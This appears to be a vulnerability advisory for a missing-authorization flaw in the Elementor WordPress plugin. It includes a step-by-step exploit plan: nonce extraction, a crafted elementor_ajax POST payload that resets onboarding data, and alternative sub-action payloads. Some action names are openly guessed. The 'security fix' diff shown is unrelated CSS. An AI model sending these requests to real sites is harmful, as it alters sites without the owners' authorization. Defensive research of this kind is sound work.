Elementor Website Builder <= 3.35.5 - Missing Authorization
Description
The Elementor Website Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.35.5. This makes it possible for authenticated attackers, with author-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.35.6
Source Code
WordPress.org SVN# Elementor Website Builder <= 3.35.5 - Missing Authorization (CVE-2026-32445) Research Plan ## 1. Vulnerability Summary The **Elementor Website Builder** plugin (versions up to 3.35.5) contains a missing authorization vulnerability in its **Onboarding** module. Specifically, an AJAX handler regist…
Show full research plan
Elementor Website Builder <= 3.35.5 - Missing Authorization (CVE-2026-32445) Research Plan
1. Vulnerability Summary
The Elementor Website Builder plugin (versions up to 3.35.5) contains a missing authorization vulnerability in its Onboarding module. Specifically, an AJAX handler registered under the elementor_ajax action fails to perform a sufficient capability check (e.g., manage_options). This allows authenticated users with Author-level access (capability edit_posts) to execute privileged actions related to site onboarding and experiments, such as resetting the onboarding wizard or clearing configuration data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
elementor_ajax - Sub-Action:
onboarding_reset_onboarding(inferred from JSclearAllOnboardingData) oronboarding_update_step. - Method:
POST - Parameters:
action:elementor_ajaxactions: A JSON-encoded string containing the sub-action and its data._nonce: A valid AJAX nonce obtained from the page context.
- Authentication: Authenticated (Author role or higher).
- Preconditions: Elementor must be active, and the onboarding process should have been initiated or completed (to see the effect of the reset).
3. Code Flow
- Entry Point: The request hits
admin-ajax.phpwithaction=elementor_ajax. - AJAX Manager: WordPress dispatches to
Elementor\Core\Common\Modules\Ajax\Module::handle_ajax(). - Global Check: The
handle_ajaxfunction typically checks if the user has theedit_postscapability (default for Authors). - Sub-action Dispatch: The manager iterates through the
actionsJSON array. For an action likeonboarding_reset_onboarding, it looks for the handler in the Onboarding module. - Vulnerable Sink: The handler function in
Elementor\App\Modules\Onboarding\Module(likely namedajax_onboarding_reset_onboardingor similar) executes logic to delete options (e.g.,delete_option( 'elementor_onboarding_data' )) without verifying that the user hasmanage_optionspermissions.
4. Nonce Acquisition Strategy
The elementor_ajax endpoint requires a nonce. In Elementor, this nonce is localized for authenticated users and accessible via the elementorCommonConfig JavaScript object.
- Access Point: Log in as an Author and navigate to the WordPress Dashboard (
/wp-admin/) or the Elementor Editor for a post. - Extraction: Use
browser_evalto extract the nonce from the global JS configuration. - JS Variable:
window.elementorCommonConfig?.ajax?.nonceorwindow.elementorAdminConfig?.ajax?.nonce.
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a user with the Author role.
Step 2: Nonce Extraction
Navigate to /wp-admin/ and execute:
browser_eval("window.elementorCommonConfig?.ajax?.nonce || window.elementorAdminConfig?.ajax?.nonce")
Step 3: Send Malicious AJAX Request
Send a POST request to admin-ajax.php to reset the onboarding data.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The sub-action nameaction=elementor_ajax&_nonce=[EXTRACTED_NONCE]&actions={"onboarding_reset_onboarding":{"action":"onboarding_reset_onboarding","data":{}}}onboarding_reset_onboardingis grounded in the JS callclearAllOnboardingDatafound in the bundle.)
6. Test Data Setup
- Plugin Installation: Install and activate Elementor 3.35.5.
- Complete Onboarding: As an Admin, complete the Elementor onboarding wizard or manually set the option:
wp option update elementor_onboarding_data '{"completed":true,"step":"done"}' - Create Author: Create a user with the Author role.
wp user create attacker attacker@example.com --role=author --user_pass=password
7. Expected Results
- HTTP Response: Status 200 OK.
- JSON Response:
{"success":true,"data":{"responses":{"onboarding_reset_onboarding":{"success":true,"data":[]}}}} - Database Effect: The
elementor_onboarding_dataoption will be deleted or itscompletedstatus will be set tofalse.
8. Verification Steps
After the exploit, use WP-CLI to check if the onboarding state was reset:
wp option get elementor_onboarding_data
If the exploit worked, this command should either return an error (option not found) or show that the "completed" status is missing/false.
9. Alternative Approaches
If onboarding_reset_onboarding is not the correct action name, try the following sub-actions often found in Elementor's Onboarding/Experiments modules:
onboarding_set_stepwithdata={"step": "1"}onboarding_init_maybeonboarding_complete_stepelementor_reset_experiments(related toclearExperimentDatain the JS bundle)
Example Alternative Payload:
actions={"onboarding_set_step":{"action":"onboarding_set_step","data":{"step":"1"}}}
Reference the JS localization keys from assets/js/357684d6580904fc0a95.bundle.min.js:
STEP4_SITE_STARTER_CHOICEEDITOR_LOAD_TRACKEDPOST_ONBOARDING_CLICK_COUNT
Summary
The Elementor Website Builder plugin for WordPress fails to perform a sufficient capability check within its Onboarding module in versions up to 3.35.5. This allows authenticated attackers with Author-level permissions or higher to execute administrative actions, such as resetting site onboarding data or clearing configuration experiments, via the elementor_ajax endpoint.
Security Fix
@@ -2271,6 +2271,46 @@ font-weight: 500; } +#e-dashboard-ally .ui-sortable-handle { + justify-content: flex-start; + gap: 8px; +} + +#dashboard-widgets .e-dashboard-ally { + padding: 28px 0; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-img { + text-align: center; + margin-block-end: 16px; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-info { + display: flex; + flex-direction: column; + align-items: center; + text-align: center; + margin-block-end: 20px; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-title { + font-size: 20px; + line-height: 32px; + color: #0C0D0E; + margin-block-end: 0; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-description { + max-width: 295px; + font-size: 14px; + line-height: 20px; + color: #3F444B; + margin: 0 0 16px; +} + +label[for=e-dashboard-ally-hide] svg { + display: inline-block; + vertical-align: middle; + margin-inline-end: 4px; + margin-block-end: 2px; +} + .post-type-elementor_library #elementor-template-library-tabs-wrapper { padding-block-start: 2em; margin-block-end: 2em; ... (truncated)
Exploit Outline
The exploit leverages the `elementor_ajax` endpoint, which handles multiple actions in a single request and is typically accessible to users with the `edit_posts` capability (Authors). 1. **Authentication**: The attacker authenticates with an Author-level account. 2. **Nonce Retrieval**: The attacker extracts the AJAX security nonce from the global JavaScript configuration object `elementorCommonConfig` (specifically `elementorCommonConfig.ajax.nonce`) found in the WordPress admin dashboard. 3. **Request Crafting**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `elementor_ajax` - `_nonce`: The retrieved security nonce. - `actions`: A JSON object containing privileged sub-actions from the Onboarding module, such as `{"onboarding_reset_onboarding":{"action":"onboarding_reset_onboarding","data":{}}}`. 4. **Execution**: Because the backend handler for `onboarding_reset_onboarding` lacks a `manage_options` capability check, it processes the request and deletes or modifies the targeted configuration options.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.